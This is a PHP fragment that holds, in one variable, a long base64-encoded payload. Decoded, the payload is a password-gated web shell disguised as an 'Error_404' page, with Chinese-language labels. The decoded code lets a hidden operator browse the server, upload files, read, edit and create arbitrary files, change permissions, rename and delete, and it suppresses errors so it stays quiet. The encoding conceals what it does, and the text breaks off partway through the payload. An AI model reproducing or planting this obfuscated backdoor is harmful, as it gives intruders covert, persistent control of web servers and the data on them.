$jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAg